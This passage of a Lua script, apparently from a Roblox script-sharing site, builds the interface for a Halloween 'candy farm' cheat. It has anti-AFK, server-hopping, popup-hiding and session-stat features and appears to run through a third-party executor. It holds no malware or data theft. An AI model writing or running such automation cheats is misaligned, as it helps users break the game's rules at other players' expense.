local toggleLabel = createLabel({ Text = label, Size = UDim2.new(1, -44, 1, 0), Parent = toggleButton })
local toggleTrack = createInstance("Frame", {
AnchorPoint = Vector2.new(1, 0.5),
Position = UDim2.new(1, 0, 0.5, 0),
Size = UDim2.fromOffset(34, 18),
BorderSizePixel = 0,
Parent = toggleButton,
}, { createInstance("UICorner", { CornerRadius = UDim.new(1, 0) }) })
local toggleKnob = createInstance("Frame", {
AnchorPoint = Vector2.new(0, 0.5),
Size = UDim2.fromOffset(12, 12),
BorderSizePixel = 0,
Parent = toggleTrack,
}, { createInstance("UICorner", { CornerRadius = UDim.new(1, 0) }) })
local function refreshToggle()
local enabled = config[configKey] == true
local disabled = isDisabled and isDisabled()
toggleTrack.BackgroundColor3 = enabled and theme.Accent or theme.Track
toggleKnob.BackgroundColor3 = enabled and theme.Bg or theme.Dim
toggleKnob.Position = enabled and UDim2.new(1, -15, 0.5, 0) or UDim2.new(0, 3, 0.5, 0)
toggleLabel.TextColor3 = disabled and theme.Line or (enabled and theme.Text or theme.Dim)
toggleTrack.BackgroundTransparency = disabled and 0.6 or 0
end
table.insert(toggleRefreshers, refreshToggle)
trackConnection(toggleButton.MouseButton1Click, function()
if isDisabled and isDisabled() then
return
end
config[configKey] = not config[configKey]
saveConfig()
refreshToggle()
if onChanged then
onChanged(config[configKey])
end
end)
refreshToggle()
end
local function isFarming()
return config.Loop or farmState.Farming
end
createToggle("Farm this server only", "ThisServerOnly", 1, isFarming, function()
ui.Refresh()
end)
createToggle("Hide reward popups", "HidePopups", 2, nil, updateRewardPopups)
createToggle("Anti-AFK", "AntiAfk", 3)
createSeparator(6, content)
local statusLabel = createLabel({
Text = "> idle",
TextSize = 12,
TextColor3 = theme.Accent,
TextTruncate = Enum.TextTruncate.AtEnd,
Size = UDim2.new(1, 0, 0, 16),
LayoutOrder = 7,
Parent = content,
})
local footer = createInstance("Frame", {
Size = UDim2.new(1, 0, 0, 16),
BackgroundTransparency = 1,
LayoutOrder = 8,
Parent = content,
})
local resetSessionButton = createTextButton({
Text = "reset session",
TextSize = 11,
TextXAlignment = Enum.TextXAlignment.Right,
Size = UDim2.fromScale(0.5, 1),
Position = UDim2.fromScale(0.5, 0),
Parent = footer,
})
local function formatDuration(seconds)
seconds = math.floor(seconds)
return string.format("%d:%02d:%02d", seconds // 3600, seconds % 3600 // 60, seconds % 60)
end
local function getSessionElapsed()
local sessionMark = stats.Session.Mark
return stats.Session.Seconds + (sessionMark and math.max(0, os.time() - sessionMark) or 0)
end
local function highlightText(value)
return string.format('<font color="%s">%s</font>', textColorHex, tostring(value))
end
function ui.SetStatus(statusText)
statusLabel.Text = "> " .. string.lower(statusText)
end
function ui.Refresh()
local sessionStats, totalStats = stats.Session, stats.Total
for candyIndex, candyType in ipairs(candyTypes) do
local labels = candyLabels[candyType.Name]
labels.Session.Text = tostring(sessionStats.Candy[candyType.Name] or 0)
labels.Total.Text = tostring(totalStats.Candy[candyType.Name] or 0) .. " total"
end
local sessionCandyCount = sumCounts(sessionStats.Candy)
local sessionElapsed = getSessionElapsed()
local queuedServerCount = 0
for serverIndex, server in ipairs(serverCache.List) do
if not serverCache.Visited[server.id] then
queuedServerCount = queuedServerCount + 1
end
end
houseStatsLabel.Text = string.format(
"%s houses %s fake %s servers",
highlightText(sessionStats.Houses),
highlightText(sessionStats.Fakes),
highlightText(sessionStats.Servers)
)
timeStatsLabel.Text = string.format(
"%s %s/h %s queued",
highlightText(formatDuration(sessionElapsed)),
highlightText(sessionElapsed > 30 and math.floor(sessionCandyCount / sessionElapsed * 3600) or "-"),
highlightText(queuedServerCount)
)
local farming = isFarming()
farmButton.Text = farming and "Stop" or "Start Candy Farm"
farmButton.BackgroundColor3 = farming and theme.Stop or theme.Accent
farmButton.TextColor3 = farming and theme.Text or theme.Bg
farmModeLabel.Text = config.ThisServerOnly and "stays here, claims houses as they respawn"
or "will server hop often"
for toggleIndex, refreshToggle in ipairs(toggleRefreshers) do
refreshToggle()
end
end
trackConnection(farmButton.MouseButton1Click, function()
if isFarming() then
stopFarming()
elseif config.ThisServerOnly then
task.spawn(farmThisServer)
else
startFarmLoop()
end
ui.Refresh()
end)
trackConnection(resetSessionButton.MouseButton1Click, function()
local wasRunning = stats.Session.Mark ~= nil
stats.Session = newStatsBucket()
stats.Session.Mark = wasRunning and os.time() or nil
saveStats(true)
ui.Refresh()
end)
trackConnection(closeButton.MouseButton1Click, function()
scriptState.Unload()
end)
local screenMargin = 8
local function clampPanelPosition()
local screenSize = screenGui.AbsoluteSize
local panelSize = mainPanel.AbsoluteSize
local xOffset = math.clamp(
mainPanel.Position.X.Offset,
screenMargin,
math.max(screenMargin, screenSize.X - panelSize.X - screenMargin)
)
local yOffset = math.clamp(
mainPanel.Position.Y.Offset,
screenMargin,
math.max(screenMargin, screenSize.Y - panelSize.Y - screenMargin)
)
mainPanel.Position = UDim2.fromOffset(xOffset, yOffset)
end
local function fitPanelToScreen()
local screenSize = screenGui.AbsoluteSize
if screenSize.X < 1 or screenSize.Y < 1 then
return
end
local currentScale = uiScale.Scale > 0 and uiScale.Scale or 1
local unscaledPanelSize = mainPanel.AbsoluteSize / currentScale
local fitScale = math.min(
1,
(screenSize.X - 2 * screenMargin) / unscaledPanelSize.X,
(screenSize.Y - 2 * screenMargin) / math.max(unscaledPanelSize.Y, 1)
)
uiScale.Scale = math.clamp(fitScale, 0.5, 1)
clampPanelPosition()
end
local function setMinimized(minimized)
config.Minimized = minimized
content.Visible = not minimized
expandIconBar.Visible = minimized
fitPanelToScreen()
end
trackConnection(minimizeButton.MouseButton1Click, function()
setMinimized(not config.Minimized)
saveConfig()
end)
local dragInput, dragStart, panelStart
trackConnection(titleBar.InputBegan, function(input)
local inputType = input.UserInputType
if inputType == Enum.UserInputType.MouseButton1 or inputType == Enum.UserInputType.Touch then
dragInput, dragStart, panelStart = input, input.Position, mainPanel.Position
end
end)
trackConnection(userInputService.InputChanged, function(input)
if not dragInput then
return
end
local inputType = input.UserInputType
if
inputType == Enum.UserInputType.MouseMovement
or inputType == Enum.UserInputType.Touch and input == dragInput
then
local dragDelta = input.Position - dragStart
mainPanel.Position = UDim2.fromOffset(panelStart.X.Offset + dragDelta.X, panelStart.Y.Offset + dragDelta.Y)
clampPanelPosition()
end
end)
trackConnection(userInputService.InputEnded, function(input)
if dragInput and (input == dragInput or input.UserInputType == Enum.UserInputType.MouseButton1) then
dragInput = nil
config.Pos = { mainPanel.Position.X.Offset, mainPanel.Position.Y.Offset }
saveConfig()
end
end)
screenGui.Parent = guiParent
ui.Refresh()
content.Visible = not config.Minimized
expandIconBar.Visible = config.Minimized == true
if config.Pos and tonumber(config.Pos[1]) and tonumber(config.Pos[2]) then
mainPanel.Position = UDim2.fromOffset(config.Pos[1], config.Pos[2])
else
mainPanel.Position =
UDim2.fromOffset(16, math.max(screenMargin, (screenGui.AbsoluteSize.Y - mainPanel.AbsoluteSize.Y) / 2))
end
fitPanelToScreen()
trackConnection(screenGui:GetPropertyChangedSignal("AbsoluteSize"), fitPanelToScreen)
trackConnection(mainPanel:GetPropertyChangedSignal("AbsoluteSize"), clampPanelPosition)
end
task.spawn(function()
local refreshTicks = 0
while scriptState.Alive do
task.wait(1)
refreshTicks = refreshTicks + 1
if ui.Gui.Parent then
ui.Refresh()
end
if refreshTicks % 5 == 0 then
saveStats()
end
end
end)
function scriptState.Unload()
if not scriptState.Alive then
return
end
scriptState.Alive = false
farmState.Farming = false
if not config.Loop and stats.Session.Mark then
updateElapsedTime(false)
end
saveStats(true)
for connectionIndex, connection in ipairs(scriptState.Connections) do
pcall(connection.Disconnect, connection)
end
pcall(function()
localPlayer.PlayerGui.ItemGained.DisplayGainedItem.LocalScript.Disabled = false
end)
if ui.Gui then
ui.Gui:Destroy()
end
if environment.CandyFarm2026 == scriptState then
environment.CandyFarm2026 = nil
end
end
if not storage.Ok then
notify("No file API: stats won't be saved.", "rbxassetid://7781250539")
end
if config.Loop then
setStatus("Loop resumed")
local sessionMark = stats.Session.Mark
if not sessionMark or os.time() - sessionMark > 120 then
stats.Session.Mark = os.time()
end
task.spawn(farmAndHop)
else
stats.Session = newStatsBucket()
saveStats(true)
prefetchServers()
if not workspace:FindFirstChild("Houses") then
setStatus("No Halloween houses in this server")
end
ui.Refresh()
end
Review the source before using it. Executions count successful copies, capped at 10 per user and network per script in 24 hours.
Community discussion
0Start the conversation.


Your community, in one place